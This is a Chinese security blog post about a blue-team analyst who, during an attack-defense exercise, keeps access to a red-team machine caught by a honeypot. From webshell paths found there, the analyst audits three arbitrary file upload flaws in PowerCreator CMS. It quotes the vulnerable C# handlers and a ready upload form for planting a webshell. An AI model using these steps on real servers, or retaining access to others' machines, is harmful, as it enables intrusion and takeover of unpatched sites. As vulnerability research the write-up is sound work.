从蜜罐上线到1day发现

  • A+
所属分类:安全文章

前言

2020某网行动期间,深夜难眠,回想起今天waf上一大堆误报和寥寥无几的告警,甲方爸爸提供的两荤一素已经换成了白粥榨菜,农夫已经换成了怡宝,猪肉换成了榨菜,或许我们是时长一个月实习生的身份,已经彻底暴露了,明天不知道是不是只能吃开水泡面了。唉,明天又要穿上白衬衫, 继续假装自己是5年工作经验的安全专家,今晚终于认清现实,活捉红队0day依然是我们遥不可及的梦。

生而为人,我很抱歉。

突然叮咚一声,server酱提示CS有人上线了,之前的悲伤已经烟消云散,CS上号一看,是一台红队机器,有人踩了蜜罐哈哈。做好权限维持以后开始翻他的文件(坏笑)。在这个人的冰蝎里发现了多个shell,其中有两个webshell的路径比较特别,引起了我的注意,遂进行了一波分析,虽然我无法活捉红队的0day,但是经过努力,成功分析出了一个1day。

从蜜罐上线到1day发现

分析

这两个webshell是这样的
http://xxx.xxx.xxx.xxx/ResourcePic/MQ==.ASPX
http://xxx.xxx.xxx.xxx/fileManager/UploadFile/CoursePic/485b1b71-8035-44c1-9ceb-637cd68eda19.ASPX

打开这两个站点,发现都是PowerCreator CMS这一框架,如果排除是通过弱口令进入的后台,在后台上传getshell等可能外,应该是使用任意文件上传漏洞进行攻击的。

在互联网上进行了一通搜索,并没有发现这个CMS的任意文件上传payload,但是在CNVD中发现了关于这个CMS的漏洞描述

从蜜罐上线到1day发现


从蜜罐上线到1day发现


CNVD-2017-07290,漏洞描述:PowerCreator CMS存在任意文件上传漏洞,该漏洞源于CMS编辑器未对文件上传做任何校验,允许攻击者利用漏洞上传任意格式文件,获得服务器控制权。

CNVD-2019-43598,漏洞描述:PowerCreator CMS存在文件上传漏洞,攻击者可利用该漏洞获取网站服务器控制权

注意到CNVD-2017-07290是CMS编辑器插件的漏洞,而CNVD-2019-43598是CMS自身的漏洞,厂商均未提供修复方案,那么看来,是通杀全部系统了

编辑器任意文件上传

根据描述,是编辑器的漏洞,查看源码发现该CMS采用了kindeditor编辑器,该编辑器存在任意文件上传漏洞

从蜜罐上线到1day发现

因为这个是烂大街的东西,关于对kindeditor编辑器任意文件上传的分析文章网上一搜一大堆,因此这里就略了。另外经过复现发现,只能传txt和html,不能传aspx,很鸡肋。

从蜜罐上线到1day发现


从蜜罐上线到1day发现

第一处任意文件上传漏洞UploadResourcePic.ashx

根据发现的两个shell,很明显shell的命名不是通过kindeditor编辑器上传的,一定是通过其他的方法上传上去的,那么我们来分析一下漏洞到底在哪呢?查找具有上传功能的点,发现了upload目录里全是上传功能文件

从蜜罐上线到1day发现

再结合第一个webshell路径:第一个shell:http://xxx.xxx.xxx.xxx/ResourcePic/MQ==.ASPX
根据这个ResourcePic目录,发现是上传功能目录下UploadResourcePic.ashx这样一个文件上传后保存的位置,对其进行代码审计

<%@ WebHandler Language="C#" Class="UploadResourcePic" %>

using System;
using System.Web;

public class UploadResourcePic : IHttpHandler
{

public void ProcessRequest(HttpContext context)
{
context.Response.ContentType = "text/plain";
string rid = context.Request["ResourceID"] ?? string.Empty;
if (!string.IsNullOrEmpty(rid))
{


if (context.Request.Files.Count > 0)
{
HttpPostedFile file = context.Request.Files[0];
string Url = PowerCreator.MediaServer.PublicClass.WebUtils.WebRoot + "/ResourcePic/";
string Path = context.Server.MapPath(Url);

if (System.IO.Directory.Exists(Path) == false)
{
System.IO.Directory.CreateDirectory(Path);
}

string ext = file.FileName.Substring(file.FileName.LastIndexOf('.')).ToUpper();
if (file.ContentType != "image/jpeg")
{
context.Response.Write(-2);
}
else
{
string newFileName = PowerCreator.MediaServer.PublicClass.Base64.Encode(rid) + ext;
file.SaveAs(Path + newFileName);
context.Response.Write(newFileName);
}
}
else
{
context.Response.Write(-1);
}
}
else
{
context.Response.Write("参数错误");
}
context.Response.End();
}

public bool IsReusable
{
get
{
return false;
}
}

}

代码逻辑及漏洞如图所示:

从蜜罐上线到1day发现


从蜜罐上线到1day发现


根据上面的分析,其实漏洞的关键点就是上传接口未授权访问可以直接进行上传操作,存在一个Content-Type为image/jpeg的判断,另外需要注意的是传递一个ResourceID变量才能成功进入到上传逻辑。

直接访问,没传递rid变量,回显参数错误,因此上传接口前面没有任何校验,可以直接进行文件上传操作

从蜜罐上线到1day发现

给rid变量赋个值,也即任意使用get方法或者post方法传递ResourceID变量,但是由于不存在文件上传操作,报文类型不符合multipart/form-data规范,因此返回-1

从蜜罐上线到1day发现

那么只要本地构造一个上传表单,在上传的时候将Content-Type改成image/jpeg,就可以进行任意文件上传,上传过后文件命会是ResourceID变量的值进行base64编码+上传文件的扩展名

本地构造表单

<form action="http://xxx.xxx.xxx.xxx/upload/UploadResourcePic.ashx?ResourceID=1" enctype="multipart/form-data" method="POST">
<input type="file" class="file1" name="file1" />
<button type="submit" class="but1">上传</button>
</form>

改一个Content-Type为image/jpeg,即可成功getshell

从蜜罐上线到1day发现

第二处任意文件上传漏洞uploadCoursePic.ashx

接下来还有一个webshell,http://xxx.xxx.xxx.xxx/fileManager/UploadFile/CoursePic/485b1b71-8035-44c1-9ceb-637cd68eda19.ASPX

一样的思路,找哪个功能函数可以上传到/fileManager/UploadFile/CoursePic/目录,发现是uploadCoursePic.ashx

<%@ WebHandler Language="C#" Class="uploadCoursePic" %>

using System;
using System.Web;

public class uploadCoursePic : IHttpHandler
{

public void ProcessRequest(HttpContext context)
{
context.Response.ContentType = "text/plain";

string delFileName = context.Request["fileName"];
string CourseID = context.Request["CourseID"];
if (!string.IsNullOrEmpty(CourseID))
{
if (delFileName == new PowerCreator.MediaServer.Course.Logic.Course().Load(int.Parse(CourseID)).PicPath)
delFileName = "";
}
if (!string.IsNullOrEmpty(delFileName))
{
try
{
System.IO.File.Delete(context.Server.MapPath(delFileName));
}
catch (Exception e) { }
}
if (context.Request.Files.Count > 0)
{
HttpPostedFile file = context.Request.Files[0];
string Url = PowerCreator.MediaServer.PublicClass.WebUtils.WebRoot + "/fileManager/UploadFile/CoursePic/";
string Path = context.Server.MapPath(Url);

if (System.IO.Directory.Exists(Path) == false)
{
System.IO.Directory.CreateDirectory(Path);
}

string ext = file.FileName.Substring(file.FileName.LastIndexOf('.')).ToUpper();
if (!".PNG.JPG".Contains(ext))
{
context.Response.Write(-2);
}
string newFileName = Guid.NewGuid().ToString() + ext;
file.SaveAs(Path + newFileName);
context.Response.Write(Url + newFileName);
}
else
{
context.Response.Write(-1);
}
}

public bool IsReusable
{
get
{
return false;
}
}

}

前面一部分代码做了一个文件删除的操作,没什么用,重点在28行开始,分析如下:

从蜜罐上线到1day发现


漏洞原因在于:如果没有通过扩展名为图片的判断的话,会返回-2,但是返回以后程序并没有退出或跳过文件上传操作,依然进行了文件上传操作。我真是没想明白,开发做了这一步判断的目的是什么。。。。。。。。

那么payload的构造就很简单了,直接对着uploadCoursePic.ashx接口发一个multipart/form-data规范报文,无需任何绕过

从蜜罐上线到1day发现


返回了一个-2,紧接着跟着了成功上传的webshell的地址,和我们分析的预期一模一样

第三处任意文件上传漏洞UploadLogo.ashx

本来分析应该到此为止了的,正好作为一个合格的划水的蓝方,闲着也是闲着,不如把其他上传接口也一并看一遍吧,UploadLogo.ashx,代码如下:

<%@ WebHandler Language="C#" Class="UploadLogo" %>

using System;
using System.Web;

public class UploadLogo : IHttpHandler {

public void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";
if (context.Request.Files.Count > 0)
{
HttpPostedFile file = context.Request.Files[0];
string Url = PowerCreator.MediaServer.PublicClass.WebUtils.WebRoot + "/images/logo/";
string Path = context.Server.MapPath(Url);

if (System.IO.Directory.Exists(Path) == false)
{
System.IO.Directory.CreateDirectory(Path);
}
string ext = file.FileName.Substring(file.FileName.LastIndexOf('.')).ToUpper();
string newFileName = context.Request["fileName"];
file.SaveAs(Path + newFileName);
context.Response.Write(Url + newFileName);
}
else
{
context.Response.Write(-1);
}
context.Response.End();
}

public bool IsReusable {
get {
return false;
}
}

}


从蜜罐上线到1day发现


文件会传到logo目录,如图

从蜜罐上线到1day发现

如果不赋值fileName变量会报错,如图

从蜜罐上线到1day发现


只要在上传的时候通过get或者post给fileName赋值即可,payload如下

从蜜罐上线到1day发现

第四处uploadActPic.aspx不存在漏洞

其实其他几个文件都不存在任意文件上传漏洞了,这里就不再赘述,但是uploadActPic.aspx这个文件比较特殊,里面全是HTML代码,真正的代码通过父类来引入,在dll中,分析过程如下:

从蜜罐上线到1day发现


哥斯拉导出bin目录

从蜜罐上线到1day发现

使用dnspy反编译dll文件,uploadActPic方法在LMS_MediaServer.dll这个文件里,查看逻辑使用白名单校验,不存在任意文件上传

从蜜罐上线到1day发现


至此,代码审计结束

作者:lazy小远,文章来源:先知社区



关注公众号:HACK之道
从蜜罐上线到1day发现
如文章对你有帮助,请支持点下“赞”“在看”

本文始发于微信公众号(HACK之道):从蜜罐上线到1day发现

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: